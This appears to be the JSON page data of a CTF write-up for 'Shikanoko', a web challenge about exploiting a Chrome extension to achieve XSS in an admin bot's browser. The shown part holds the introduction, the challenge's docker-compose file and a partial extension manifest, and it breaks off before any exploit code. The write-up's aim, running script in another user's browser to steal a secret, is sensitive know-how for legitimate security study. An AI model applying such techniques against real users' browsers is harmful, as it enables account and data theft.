[{"data":1,"prerenderedAt":11143},["ShallowReactive",2],{"content-query-n1K35CqkPt":3},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":7,"head":9,"body":28,"_type":11137,"_id":11138,"_source":11139,"_file":11140,"_stem":11141,"_extension":11142},"/writeups/shikanoko","writeups",false,"","Shikanoko",{"title":8,"description":10,"keywords":11,"slug":12,"image":13,"date":14,"meta":15},"Writeup of Shikanoko a hard web challenge from TCP1P CTF 2024. Is about web-extension and XSS.","web,xss,chrome-extension","shikanoko","https://res.cloudinary.com/dmju5zuhr/image/upload/v1731244700/writeups/tcp1p_ctf.webp","2024-12-10",[16,17,18,19,21,23,24,26],{"og:image":13},{"og:title":8},{"og:description":10},{"og:type":20},"article",{"og:url":22},"https://owalid.com/shikanoko",{"description":10},{"title":25},"Shikanoko writeup",{"keywords":27},"web,xss,chrome-extension,tcp1p,ctf",{"type":29,"children":30,"toc":11129},"root",[31,38,45,51,56,62,67,598,603,608,614,628,633,640,645,650,1454,1499,1505,1510,1516,1521,1526,3121,3134,3153,3159,3164,3169,3175,3182,3187,3192,4038,4043,4049,4055,4075,4208,4235,5007,5049,5820,5833,6561,6566,6571,6587,7993,7998,8003,8008,8101,8106,8118,8137,8693,8714,8727,8731,8750,8754,8760,8765,8770,9514,9545,9550,9555,9567,9572,9577,9715,9719,9732,9736,9742,9747,9752,10001,10009,10558,10566,11114,11119,11123],{"type":32,"tag":33,"props":34,"children":35},"element","h1",{"id":12},[36],{"type":37,"value":8},"text",{"type":32,"tag":39,"props":40,"children":42},"h2",{"id":41},"introduction",[43],{"type":37,"value":44},"Introduction",{"type":32,"tag":46,"props":47,"children":48},"p",{},[49],{"type":37,"value":50},"Shikanoko is a hard web challenge from TCP1P CTF 2024. The challenge is about web-extension and XSS.",{"type":32,"tag":46,"props":52,"children":53},{},[54],{"type":37,"value":55},"The goal of this challenge is to execute JavaScript in the bot's browser context in order to retrieve the flag. The only entry point we can have to exploit an XSS in the bot's context is an extension that is installed in its browser",{"type":32,"tag":57,"props":58,"children":61},"custom-image",{"imgSrc":59,":width":60},"https://res.cloudinary.com/dmju5zuhr/image/upload/v1731247859/writeups/shikanoko/bot_config_webext.webp","650",[],{"type":32,"tag":46,"props":63,"children":64},{},[65],{"type":37,"value":66},"A web service exposes a simple HTML page; we will see the content of the page in detail later.",{"type":32,"tag":68,"props":69,"children":71},"code-card",{"lang":70},"yaml",[72],{"type":32,"tag":73,"props":74,"children":77},"pre",{"className":75,"code":76,"language":70,"meta":7,"style":7},"language-yaml shiki shiki-themes vitesse-dark","version: '3'\n\nservices:\n  proxy:\n    image: nginx:latest\n    restart: always\n    ports:\n      - 8547:80\n    volumes:\n      - ./src:/var/www/html:ro\n      - ./proxy.conf:/etc/nginx/conf.d/default.conf:ro\n    networks:\n      - internal\n    depends_on:\n      - bot\n  bot:\n    build: bot\n    restart: always\n    environment:\n      APPNAME: Admin\n      APPURL: http://proxy/\n      APPURLREGEX: ^http(|s)://.*$\n      APPFLAG: fake{flag}\n      APPLIMIT: 2\n      APPLIMITTIME: 60\n      USE_PROXY: 1\n      DISPLAY: ${DISPLAY}\n    networks:\n      - internal\n    # uncoment this if you need to run the bot in GUI mode\n    # volumes:\n      # - /tmp/.X11-unix:/tmp/.X11-unix\n\nnetworks:\n  internal:\n",[78],{"type":32,"tag":79,"props":80,"children":81},"code",{"__ignoreMap":7},[82,117,127,141,154,172,190,203,217,230,243,256,269,282,295,308,321,338,354,367,385,403,421,439,458,476,494,512,524,536,546,555,564,572,585],{"type":32,"tag":83,"props":84,"children":87},"span",{"class":85,"line":86},"line",1,[88,94,100,106,112],{"type":32,"tag":83,"props":89,"children":91},{"style":90},"--shiki-default:#B8A965",[92],{"type":37,"value":93},"version",{"type":32,"tag":83,"props":95,"children":97},{"style":96},"--shiki-default:#666666",[98],{"type":37,"value":99},":",{"type":32,"tag":83,"props":101,"children":103},{"style":102},"--shiki-default:#C98A7D77",[104],{"type":37,"value":105}," '",{"type":32,"tag":83,"props":107,"children":109},{"style":108},"--shiki-default:#C98A7D",[110],{"type":37,"value":111},"3",{"type":32,"tag":83,"props":113,"children":114},{"style":102},[115],{"type":37,"value":116},"'\n",{"type":32,"tag":83,"props":118,"children":120},{"class":85,"line":119},2,[121],{"type":32,"tag":83,"props":122,"children":124},{"emptyLinePlaceholder":123},true,[125],{"type":37,"value":126},"\n",{"type":32,"tag":83,"props":128,"children":130},{"class":85,"line":129},3,[131,136],{"type":32,"tag":83,"props":132,"children":133},{"style":90},[134],{"type":37,"value":135},"services",{"type":32,"tag":83,"props":137,"children":138},{"style":96},[139],{"type":37,"value":140},":\n",{"type":32,"tag":83,"props":142,"children":144},{"class":85,"line":143},4,[145,150],{"type":32,"tag":83,"props":146,"children":147},{"style":90},[148],{"type":37,"value":149},"  proxy",{"type":32,"tag":83,"props":151,"children":152},{"style":96},[153],{"type":37,"value":140},{"type":32,"tag":83,"props":155,"children":157},{"class":85,"line":156},5,[158,163,167],{"type":32,"tag":83,"props":159,"children":160},{"style":90},[161],{"type":37,"value":162},"    image",{"type":32,"tag":83,"props":164,"children":165},{"style":96},[166],{"type":37,"value":99},{"type":32,"tag":83,"props":168,"children":169},{"style":108},[170],{"type":37,"value":171}," nginx:latest\n",{"type":32,"tag":83,"props":173,"children":175},{"class":85,"line":174},6,[176,181,185],{"type":32,"tag":83,"props":177,"children":178},{"style":90},[179],{"type":37,"value":180},"    restart",{"type":32,"tag":83,"props":182,"children":183},{"style":96},[184],{"type":37,"value":99},{"type":32,"tag":83,"props":186,"children":187},{"style":108},[188],{"type":37,"value":189}," always\n",{"type":32,"tag":83,"props":191,"children":193},{"class":85,"line":192},7,[194,199],{"type":32,"tag":83,"props":195,"children":196},{"style":90},[197],{"type":37,"value":198},"    ports",{"type":32,"tag":83,"props":200,"children":201},{"style":96},[202],{"type":37,"value":140},{"type":32,"tag":83,"props":204,"children":206},{"class":85,"line":205},8,[207,212],{"type":32,"tag":83,"props":208,"children":209},{"style":96},[210],{"type":37,"value":211},"      -",{"type":32,"tag":83,"props":213,"children":214},{"style":108},[215],{"type":37,"value":216}," 8547:80\n",{"type":32,"tag":83,"props":218,"children":220},{"class":85,"line":219},9,[221,226],{"type":32,"tag":83,"props":222,"children":223},{"style":90},[224],{"type":37,"value":225},"    volumes",{"type":32,"tag":83,"props":227,"children":228},{"style":96},[229],{"type":37,"value":140},{"type":32,"tag":83,"props":231,"children":233},{"class":85,"line":232},10,[234,238],{"type":32,"tag":83,"props":235,"children":236},{"style":96},[237],{"type":37,"value":211},{"type":32,"tag":83,"props":239,"children":240},{"style":108},[241],{"type":37,"value":242}," ./src:/var/www/html:ro\n",{"type":32,"tag":83,"props":244,"children":246},{"class":85,"line":245},11,[247,251],{"type":32,"tag":83,"props":248,"children":249},{"style":96},[250],{"type":37,"value":211},{"type":32,"tag":83,"props":252,"children":253},{"style":108},[254],{"type":37,"value":255}," ./proxy.conf:/etc/nginx/conf.d/default.conf:ro\n",{"type":32,"tag":83,"props":257,"children":259},{"class":85,"line":258},12,[260,265],{"type":32,"tag":83,"props":261,"children":262},{"style":90},[263],{"type":37,"value":264},"    networks",{"type":32,"tag":83,"props":266,"children":267},{"style":96},[268],{"type":37,"value":140},{"type":32,"tag":83,"props":270,"children":272},{"class":85,"line":271},13,[273,277],{"type":32,"tag":83,"props":274,"children":275},{"style":96},[276],{"type":37,"value":211},{"type":32,"tag":83,"props":278,"children":279},{"style":108},[280],{"type":37,"value":281}," internal\n",{"type":32,"tag":83,"props":283,"children":285},{"class":85,"line":284},14,[286,291],{"type":32,"tag":83,"props":287,"children":288},{"style":90},[289],{"type":37,"value":290},"    depends_on",{"type":32,"tag":83,"props":292,"children":293},{"style":96},[294],{"type":37,"value":140},{"type":32,"tag":83,"props":296,"children":298},{"class":85,"line":297},15,[299,303],{"type":32,"tag":83,"props":300,"children":301},{"style":96},[302],{"type":37,"value":211},{"type":32,"tag":83,"props":304,"children":305},{"style":108},[306],{"type":37,"value":307}," bot\n",{"type":32,"tag":83,"props":309,"children":311},{"class":85,"line":310},16,[312,317],{"type":32,"tag":83,"props":313,"children":314},{"style":90},[315],{"type":37,"value":316},"  bot",{"type":32,"tag":83,"props":318,"children":319},{"style":96},[320],{"type":37,"value":140},{"type":32,"tag":83,"props":322,"children":324},{"class":85,"line":323},17,[325,330,334],{"type":32,"tag":83,"props":326,"children":327},{"style":90},[328],{"type":37,"value":329},"    build",{"type":32,"tag":83,"props":331,"children":332},{"style":96},[333],{"type":37,"value":99},{"type":32,"tag":83,"props":335,"children":336},{"style":108},[337],{"type":37,"value":307},{"type":32,"tag":83,"props":339,"children":341},{"class":85,"line":340},18,[342,346,350],{"type":32,"tag":83,"props":343,"children":344},{"style":90},[345],{"type":37,"value":180},{"type":32,"tag":83,"props":347,"children":348},{"style":96},[349],{"type":37,"value":99},{"type":32,"tag":83,"props":351,"children":352},{"style":108},[353],{"type":37,"value":189},{"type":32,"tag":83,"props":355,"children":357},{"class":85,"line":356},19,[358,363],{"type":32,"tag":83,"props":359,"children":360},{"style":90},[361],{"type":37,"value":362},"    environment",{"type":32,"tag":83,"props":364,"children":365},{"style":96},[366],{"type":37,"value":140},{"type":32,"tag":83,"props":368,"children":370},{"class":85,"line":369},20,[371,376,380],{"type":32,"tag":83,"props":372,"children":373},{"style":90},[374],{"type":37,"value":375},"      APPNAME",{"type":32,"tag":83,"props":377,"children":378},{"style":96},[379],{"type":37,"value":99},{"type":32,"tag":83,"props":381,"children":382},{"style":108},[383],{"type":37,"value":384}," Admin\n",{"type":32,"tag":83,"props":386,"children":388},{"class":85,"line":387},21,[389,394,398],{"type":32,"tag":83,"props":390,"children":391},{"style":90},[392],{"type":37,"value":393},"      APPURL",{"type":32,"tag":83,"props":395,"children":396},{"style":96},[397],{"type":37,"value":99},{"type":32,"tag":83,"props":399,"children":400},{"style":108},[401],{"type":37,"value":402}," http://proxy/\n",{"type":32,"tag":83,"props":404,"children":406},{"class":85,"line":405},22,[407,412,416],{"type":32,"tag":83,"props":408,"children":409},{"style":90},[410],{"type":37,"value":411},"      APPURLREGEX",{"type":32,"tag":83,"props":413,"children":414},{"style":96},[415],{"type":37,"value":99},{"type":32,"tag":83,"props":417,"children":418},{"style":108},[419],{"type":37,"value":420}," ^http(|s)://.*$\n",{"type":32,"tag":83,"props":422,"children":424},{"class":85,"line":423},23,[425,430,434],{"type":32,"tag":83,"props":426,"children":427},{"style":90},[428],{"type":37,"value":429},"      APPFLAG",{"type":32,"tag":83,"props":431,"children":432},{"style":96},[433],{"type":37,"value":99},{"type":32,"tag":83,"props":435,"children":436},{"style":108},[437],{"type":37,"value":438}," fake{flag}\n",{"type":32,"tag":83,"props":440,"children":442},{"class":85,"line":441},24,[443,448,452],{"type":32,"tag":83,"props":444,"children":445},{"style":90},[446],{"type":37,"value":447},"      APPLIMIT",{"type":32,"tag":83,"props":449,"children":450},{"style":96},[451],{"type":37,"value":99},{"type":32,"tag":83,"props":453,"children":455},{"style":454},"--shiki-default:#4C9A91",[456],{"type":37,"value":457}," 2\n",{"type":32,"tag":83,"props":459,"children":461},{"class":85,"line":460},25,[462,467,471],{"type":32,"tag":83,"props":463,"children":464},{"style":90},[465],{"type":37,"value":466},"      APPLIMITTIME",{"type":32,"tag":83,"props":468,"children":469},{"style":96},[470],{"type":37,"value":99},{"type":32,"tag":83,"props":472,"children":473},{"style":454},[474],{"type":37,"value":475}," 60\n",{"type":32,"tag":83,"props":477,"children":479},{"class":85,"line":478},26,[480,485,489],{"type":32,"tag":83,"props":481,"children":482},{"style":90},[483],{"type":37,"value":484},"      USE_PROXY",{"type":32,"tag":83,"props":486,"children":487},{"style":96},[488],{"type":37,"value":99},{"type":32,"tag":83,"props":490,"children":491},{"style":454},[492],{"type":37,"value":493}," 1\n",{"type":32,"tag":83,"props":495,"children":497},{"class":85,"line":496},27,[498,503,507],{"type":32,"tag":83,"props":499,"children":500},{"style":90},[501],{"type":37,"value":502},"      DISPLAY",{"type":32,"tag":83,"props":504,"children":505},{"style":96},[506],{"type":37,"value":99},{"type":32,"tag":83,"props":508,"children":509},{"style":108},[510],{"type":37,"value":511}," ${DISPLAY}\n",{"type":32,"tag":83,"props":513,"children":515},{"class":85,"line":514},28,[516,520],{"type":32,"tag":83,"props":517,"children":518},{"style":90},[519],{"type":37,"value":264},{"type":32,"tag":83,"props":521,"children":522},{"style":96},[523],{"type":37,"value":140},{"type":32,"tag":83,"props":525,"children":527},{"class":85,"line":526},29,[528,532],{"type":32,"tag":83,"props":529,"children":530},{"style":96},[531],{"type":37,"value":211},{"type":32,"tag":83,"props":533,"children":534},{"style":108},[535],{"type":37,"value":281},{"type":32,"tag":83,"props":537,"children":539},{"class":85,"line":538},30,[540],{"type":32,"tag":83,"props":541,"children":543},{"style":542},"--shiki-default:#758575DD",[544],{"type":37,"value":545},"    # uncoment this if you need to run the bot in GUI mode\n",{"type":32,"tag":83,"props":547,"children":549},{"class":85,"line":548},31,[550],{"type":32,"tag":83,"props":551,"children":552},{"style":542},[553],{"type":37,"value":554},"    # volumes:\n",{"type":32,"tag":83,"props":556,"children":558},{"class":85,"line":557},32,[559],{"type":32,"tag":83,"props":560,"children":561},{"style":542},[562],{"type":37,"value":563},"      # - /tmp/.X11-unix:/tmp/.X11-unix\n",{"type":32,"tag":83,"props":565,"children":567},{"class":85,"line":566},33,[568],{"type":32,"tag":83,"props":569,"children":570},{"emptyLinePlaceholder":123},[571],{"type":37,"value":126},{"type":32,"tag":83,"props":573,"children":575},{"class":85,"line":574},34,[576,581],{"type":32,"tag":83,"props":577,"children":578},{"style":90},[579],{"type":37,"value":580},"networks",{"type":32,"tag":83,"props":582,"children":583},{"style":96},[584],{"type":37,"value":140},{"type":32,"tag":83,"props":586,"children":588},{"class":85,"line":587},35,[589,594],{"type":32,"tag":83,"props":590,"children":591},{"style":90},[592],{"type":37,"value":593},"  internal",{"type":32,"tag":83,"props":595,"children":596},{"style":96},[597],{"type":37,"value":140},{"type":32,"tag":46,"props":599,"children":600},{},[601],{"type":37,"value":602},"The writeup will therefore focus on the parts specific to the web extension and web service. We will see how the extension works, how to exploit it, and how to retrieve the flag:",{"type":32,"tag":57,"props":604,"children":607},{"imgSrc":605,":width":606},"https://res.cloudinary.com/dmju5zuhr/image/upload/v1731248622/writeups/shikanoko/source_code.webp","350",[],{"type":32,"tag":39,"props":609,"children":611},{"id":610},"how-does-a-web-extension-work",[612],{"type":37,"value":613},"How does a web extension work?",{"type":32,"tag":46,"props":615,"children":616},{},[617,619,626],{"type":37,"value":618},"It is important to review how a web extension works. If you are comfortable with this concept, I advise you to move on to the next chapter: ",{"type":32,"tag":620,"props":621,"children":623},"a",{"href":622},"#race-condition-to-chrome-cache-pollution",[624],{"type":37,"value":625},"Race condition to chrome cache pollution",{"type":37,"value":627},".",{"type":32,"tag":46,"props":629,"children":630},{},[631],{"type":37,"value":632},"Despite the paradigm being the same (a browser), a web application will have a different architecture and files than a simple web page. This is what we are going to see below:",{"type":32,"tag":634,"props":635,"children":637},"h4",{"id":636},"manifest-file",[638],{"type":37,"value":639},"Manifest File:",{"type":32,"tag":46,"props":641,"children":642},{},[643],{"type":37,"value":644},"Every extension has a manifest.json file, which is the blueprint of the extension. It defines the permissions, version, name, scripts, and features of the extension.",{"type":32,"tag":46,"props":646,"children":647},{},[648],{"type":37,"value":649},"Here below is the manifest of the challenge application:",{"type":32,"tag":68,"props":651,"children":653},{"lang":652},"json",[654],{"type":32,"tag":73,"props":655,"children":658},{"className":656,"code":657,"language":652,"meta":7,"style":7},"language-json shiki shiki-themes vitesse-dark","{\n  \"manifest_version\": 3,\n  \"name\": \"Custom Extension\",\n  \"$schema\": \"https://json.schemastore.org/chrome-manifest.json\",\n  \"version\": \"0.1.0\",\n  \"description\": \"My Chrome Extension\",\n  \"icons\": {\n    \"16\": \"icons/icon_16.png\",\n    \"32\": \"icons/icon_32.png\",\n    \"48\": \"icons/icon_48.png\",\n    \"128\": \"icons/icon_128.png\"\n  },\n  \"background\": {\n    \"service_worker\": \"background.js\"\n  },\n  \"action\": {\n    \"default_title\": \"Custom Extension\",\n    \"default_popup\": \"popup.html\"\n  },\n  \"permissions\": [\n    \"storage\",\n    \"tabs\"\n  ],\n  \"content_scripts\": [\n    {\n      \"matches\": [\n        \"\u003Call_urls>\"\n      ],\n      \"run_at\": \"document_idle\",\n      \"js\": [\n        \"contentScript.js\"\n      ]\n    }\n  ]\n}\n\n",[659],{"type":32,"tag":79,"props":660,"children":661},{"__ignoreMap":7},[662,670,703,741,778,814,851,876,914,951,988,1022,1030,1054,1087,1094,1118,1154,1187,1194,1219,1239,1255,1263,1287,1295,1320,1337,1345,1382,1406,1422,1430,1438,1446],{"type":32,"tag":83,"props":663,"children":664},{"class":85,"line":86},[665],{"type":32,"tag":83,"props":666,"children":667},{"style":96},[668],{"type":37,"value":669},"{\n",{"type":32,"tag":83,"props":671,"children":672},{"class":85,"line":119},[673,679,684,689,693,698],{"type":32,"tag":83,"props":674,"children":676},{"style":675},"--shiki-default:#B8A96577",[677],{"type":37,"value":678},"  \"",{"type":32,"tag":83,"props":680,"children":681},{"style":90},[682],{"type":37,"value":683},"manifest_version",{"type":32,"tag":83,"props":685,"children":686},{"style":675},[687],{"type":37,"value":688},"\"",{"type":32,"tag":83,"props":690,"children":691},{"style":96},[692],{"type":37,"value":99},{"type":32,"tag":83,"props":694,"children":695},{"style":454},[696],{"type":37,"value":697}," 3",{"type":32,"tag":83,"props":699,"children":700},{"style":96},[701],{"type":37,"value":702},",\n",{"type":32,"tag":83,"props":704,"children":705},{"class":85,"line":129},[706,710,715,719,723,728,733,737],{"type":32,"tag":83,"props":707,"children":708},{"style":675},[709],{"type":37,"value":678},{"type":32,"tag":83,"props":711,"children":712},{"style":90},[713],{"type":37,"value":714},"name",{"type":32,"tag":83,"props":716,"children":717},{"style":675},[718],{"type":37,"value":688},{"type":32,"tag":83,"props":720,"children":721},{"style":96},[722],{"type":37,"value":99},{"type":32,"tag":83,"props":724,"children":725},{"style":102},[726],{"type":37,"value":727}," \"",{"type":32,"tag":83,"props":729,"children":730},{"style":108},[731],{"type":37,"value":732},"Custom Extension",{"type":32,"tag":83,"props":734,"children":735},{"style":102},[736],{"type":37,"value":688},{"type":32,"tag":83,"props":738,"children":739},{"style":96},[740],{"type":37,"value":702},{"type":32,"tag":83,"props":742,"children":743},{"class":85,"line":143},[744,748,753,757,761,765,770,774],{"type":32,"tag":83,"props":745,"children":746},{"style":675},[747],{"type":37,"value":678},{"type":32,"tag":83,"props":749,"children":750},{"style":90},[751],{"type":37,"value":752},"$schema",{"type":32,"tag":83,"props":754,"children":755},{"style":675},[756],{"type":37,"value":688},{"type":32,"tag":83,"props":758,"children":759},{"style":96},[760],{"type":37,"value":99},{"type":32,"tag":83,"props":762,"children":763},{"style":102},[764],{"type":37,"value":727},{"type":32,"tag":83,"props":766,"children":767},{"style":108},[768],{"type":37,"value":769},"https://json.schemastore.org/chrome-manifest.json",{"type":32,"tag":83,"props":771,"children":772},{"style":102},[773],{"type":37,"value":688},{"type":32,"tag":83,"props":775,"children":776},{"style":96},[777],{"type":37,"value":702},{"type":32,"tag":83,"props":779,"children":780},{"class":85,"line":156},[781,785,789,793,797,801,806,810],{"type":32,"tag":83,"props":782,"children":783},{"style":675},[784],{"type":37,"value":678},{"type":32,"tag":83,"props":786,"children":787},{"style":90},[788],{"type":37,"value":93},{"type":32,"tag":83,"props":790,"children":791},{"style":675},[792],{"type":37,"value":688},{"type":32,"tag":83,"props":794,"children":795},{"style":96},[796],{"type":37,"value":99},{"type":32,"tag":83,"props":798,"children":799},{"style":102},[800],{"type":37,"value":727},{"type":32,"tag":83,"props":802,"children":803},{"style":108},[804],{"type":37,"value":805},"0.1.0",{"type":32,"tag":83,"props":807,"children":808},{"style":102},[809],{"type":37,"value":688},{"type":32,"tag":83,"props":811,"children":812},{"style":96},[813],{"type":37,"value":702},{"type":32,"tag":83,"props":815,"children":816},{"class":85,"line":174},[817,821,826,830,834,838,843,847],{"type":32,"tag":83,"props":818,"children":819},{"style":675},[820],{"type":37,"value":678},{"type":32,"tag":83,"props":822,"children":823},{"style":90},[824],{"type":37,"value":825},"description",{"type":32,"tag":83,"props":827,"children":828},{"style":675},[829],{"type":37,"value":688},{"type":32,"tag":83,"props":831,"children":832},{"style":96},[833],{"type":37,"value":99},{"type":32,"tag":83,"props":835,"children":836},{"style":102},[837],{"type":37,"value":727},{"type":32,"tag":83,"props":839,"children":840},{"style":108},[841],{"type":37,"value":842},"My Chrome Extension",{"type":32,"tag":83,"props":844,"children":845},{"style":102},[846],{"type":37,"value":688},{"type":32,"tag":83,"props":848,"children":849},{"style":96},[850],{"type":37,"value":702},{"type":32,"tag":83,"props":852,"children":853},{"class":85,"line":192},[854,858,863,867,871],{"type":32,"tag":83,"props":855,"children":856},{"style":675},[857],{"type":37,"value":678},{"type":32,"tag":83,"props":859,"children":860},{"style":90},[861],{"type":37,"value":862},"icons",{"type":32,"tag":83,"props":864,"children":865},{"style":675},[866],{"type":37,"value":688},{"type":32,"tag":83,"props":868,"children":869},{"style":96},[870],{"type":37,"value":99},{"type":32,"tag":83,"props":872,"children":873},{"style":96},[874],{"type":37,"value":875}," {\n",{"type":32,"tag":83,"props":877,"children":878},{"class":85,"line":205},[879,884,889,893,897,901,906,910],{"type":32,"tag":83,"props":880,"children":881},{"style":675},[882],{"type":37,"value":883},"    \"",{"type":32,"tag":83,"props":885,"children":886},{"style":90},[887],{"type":37,"value":888},"16",{"type":32,"tag":83,"props":890,"children":891},{"style":675},[892],{"type":37,"value":688},{"type":32,"tag":83,"props":894,"children":895},{"style":96},[896],{"type":37,"value":99},{"type":32,"tag":83,"props":898,"children":899},{"style":102},[900],{"type":37,"value":727},{"type":32,"tag":83,"props":902,"children":903},{"style":108},[904],{"type":37,"value":905},"icons/icon_16.png",{"type":32,"tag":83,"props":907,"children":908},{"style":102},[909],{"type":37,"value":688},{"type":32,"tag":83,"props":911,"children":912},{"style":96},[913],{"type":37,"value":702},{"type":32,"tag":83,"props":915,"children":916},{"class":85,"line":219},[917,921,926,930,934,938,943,947],{"type":32,"tag":83,"props":918,"children":919},{"style":675},[920],{"type":37,"value":883},{"type":32,"tag":83,"props":922,"children":923},{"style":90},[924],{"type":37,"value":925},"32",{"type":32,"tag":83,"props":927,"children":928},{"style":675},[929],{"type":37,"value":688},{"type":32,"tag":83,"props":931,"children":932},{"style":96},[933],{"type":37,"value":99},{"type":32,"tag":83,"props":935,"children":936},{"style":102},[937],{"type":37,"value":727},{"type":32,"tag":83,"props":939,"children":940},{"style":108},[941],{"type":37,"value":942},"icons/icon_32.png",{"type":32,"tag":83,"props":944,"children":945},{"style":102},[946],{"type":37,"value":688},{"type":32,"tag":83,"props":948,"children":949},{"style":96},[950],{"type":37,"value":702},{"type":32,"tag":83,"props":952,"children":953},{"class":85,"line":232},[954,958,963,967,971,975,980,984],{"type":32,"tag":83,"props":955,"children":956},{"style":675},[957],{"type":37,"value":883},{"type":32,"tag":83,"props":959,"children":960},{"style":90},[961],{"type":37,"value":962},"48",{"type":32,"tag":83,"props":964,"children":965},{"style":675},[966],{"type":37,"value":688},{"type":32,"tag":83,"props":968,"children":969},{"style":96},[970],{"type":37,"value":99},{"type":32,"tag":83,"props":972,"children":973},{"style":102},[974],{"type":37,"value":727},{"type":32,"tag":83,"props":976,"children":977},{"style":108},[978],{"type":37,"value":979},"icons/icon_48.png",{"type":32,"tag":83,"props":981,"children":982},{"style":102},[983],{"type":37,"value":688},{"type":32,"tag":83,"props":985,"children":986},{"style":96},[987],{"type":37,"value":702},{"type":32,"tag":83,"props":989,"children":990},{"class":85,"line":245},[991,995,1000,1004,1008,1012,1017],{"type":32,"tag":83,"props":992,"children":993},{"style":675},[994],{"type":37,"value":883},{"type":32,"tag":83,"props":996,"children":997},{"style":90},[998],{"type":37,"value":999},"128",{"type":32,"tag":83,"props":1001,"children":1002},{"style":675},[1003],{"type":37,"value":688},{"type":32,"tag":83,"props":1005,"children":1006},{"style":96},[1007],{"type":37,"value":99},{"type":32,"tag":83,"props":1009,"children":1010},{"style":102},[1011],{"type":37,"value":727},{"type":32,"tag":83,"props":1013,"children":1014},{"style":108},[1015],{"type":37,"value":1016},"icons/icon_128.png",{"type":32,"tag":83,"props":1018,"children":1019},{"style":102},[1020],{"type":37,"value":1021},"\"\n",{"type":32,"tag":83,"props":1023,"children":1024},{"class":85,"line":258},[1025],{"type":32,"tag":83,"props":1026,"children":1027},{"style":96},[1028],{"type":37,"value":1029},"  },\n",{"type":32,"tag":83,"props":1031,"children":1032},{"class":85,"line":271},[1033,1037,1042,1046,1050],{"type":32,"tag":83,"props":1034,"children":1035},{"style":675},[1036],{"type":37,"value":678},{"type":32,"tag":83,"props":1038,"children":1039},{"style":90},[1040],{"type":37,"value":1041},"background",{"type":32,"tag":83,"props":1043,"children":1044},{"style":675},[1045],{"type":37,"value":688},{"type":32,"tag":83,"props":1047,"children":1048},{"style":96},[1049],{"type":37,"value":99},{"type":32,"tag":83,"props":1051,"children":1052},{"style":96},[1053],{"type":37,"value":875},{"type":32,"tag":83,"props":1055,"children":1056},{"class":85,"line":284},[1057,1061,1066,1070,1074,1078,1083],{"type":32,"tag":83,"props":1058,"children":1059},{"style":675},[1060],{"type":37,"value":883},{"type":32,"tag":83,"props":1062,"children":1063},{"style":90},[1064],{"type":37,"value":1065},"service_worker",{"type":32,"tag":83,"props":1067,"children":1068},{"style":675},[1069],{"type":37,"value":688},{"type":32,"tag":83,"props":1071,"children":1072},{"style":96},[1073],{"type":37,"value":99},{"type":32,"tag":83,"props":1075,"children":1076},{"style":102},[1077],{"type":37,"value":727},{"type":32,"tag":83,"props":1079,"children":1080},{"style":108},[1081],{"type":37,"value":1082},"background.js",{"type":32,"tag":83,"props":1084,"children":1085},{"style":102},[1086],{"type":37,"value":1021},{"type":32,"tag":83,"props":1088,"children":1089},{"class":85,"line":297},[1090],{"type":32,"tag":83,"props":1091,"children":1092},{"style":96},[1093],{"type":37,"value":1029},{"type":32,"tag":83,"props":1095,"children":1096},{"class":85,"line":310},[1097,1101,1106,1110,1114],{"type":32,"tag":83,"props":1098,"children":1099},{"style":675},[1100],{"type":37,"value":678},{"type":32,"tag":83,"props":1102,"children":1103},{"style":90},[1104],{"type":37,"value":1105},"action",{"type":32,"tag":83,"props":1107,"children":1108},{"style":675},[1109],{"type":37,"value":688},{"type":32,"tag":83,"props":1111,"children":1112},{"style":96},[1113],{"type":37,"value":99},{"type":32,"tag":83,"props":1115,"children":1116},{"style":96},[1117],{"type":37,"value":875},{"type":32,"tag":83,"props":1119,"children":1120},{"class":85,"line":323},[1121,1125,1130,1134,1138,1142,1146,1150],{"type":32,"tag":83,"props":1122,"children":1123},{"style":675},[1124],{"type":37,"value":883},{"type":32,"tag":83,"props":1126,"children":1127},{"style":90},[1128],{"type":37,"value":1129},"default_title",{"type":32,"tag":83,"props":1131,"children":1132},{"style":675},[1133],{"type":37,"value":688},{"type":32,"tag":83,"props":1135,"children":1136},{"style":96},[1137],{"type":37,"value":99},{"type":32,"tag":83,"props":1139,"children":1140},{"style":102},[1141],{"type":37,"value":727},{"type":32,"tag":83,"props":1143,"children":1144},{"style":108},[1145],{"type":37,"value":732},{"type":32,"tag":83,"props":1147,"children":1148},{"style":102},[1149],{"type":37,"value":688},{"type":32,"tag":83,"props":1151,"children":1152},{"style":96},[1153],{"type":37,"value":702},{"type":32,"tag":83,"props":1155,"children":1156},{"class":85,"line":340},[1157,1161,1166,1170,1174,1178,1183],{"type":32,"tag":83,"props":1158,"children":1159},{"style":675},[1160],{"type":37,"value":883},{"type":32,"tag":83,"props":1162,"children":1163},{"style":90},[1164],{"type":37,"value":1165},"default_popup",{"type":32,"tag":83,"props":1167,"children":1168},{"style":675},[1169],{"type":37,"value":688},{"type":32,"tag":83,"props":1171,"children":1172},{"style":96},[1173],{"type":37,"value":99},{"type":32,"tag":83,"props":1175,"children":1176},{"style":102},[1177],{"type":37,"value":727},{"type":32,"tag":83,"props":1179,"children":1180},{"style":108},[1181],{"type":37,"value":1182},"popup.html",{"type":32,"tag":83,"props":1184,"children":1185},{"style":102},[1186],{"type":37,"value":1021},{"type":32,"tag":83,"props":1188,"children":1189},{"class":85,"line":356},[1190],{"type":32,"tag":83,"props":1191,"children":1192},{"style":96},[1193],{"type":37,"value":1029},{"type":32,"tag":83,"props":1195,"children":1196},{"class":85,"line":369},[1197,1201,1206,1210,1214],{"type":32,"tag":83,"props":1198,"children":1199},{"style":675},[1200],{"type":37,"value":678},{"type":32,"tag":83,"props":1202,"children":1203},{"style":90},[1204],{"type":37,"value":1205},"permissions",{"type":32,"tag":83,"props":1207,"children":1208},{"style":675},[1209],{"type":37,"value":688},{"type":32,"tag":83,"props":1211,"children":1212},{"style":96},[1213],{"type":37,"value":99},{"type":32,"tag":83,"props":1215,"children":1216},{"style":96},[1217],{"type":37,"value":1218}," 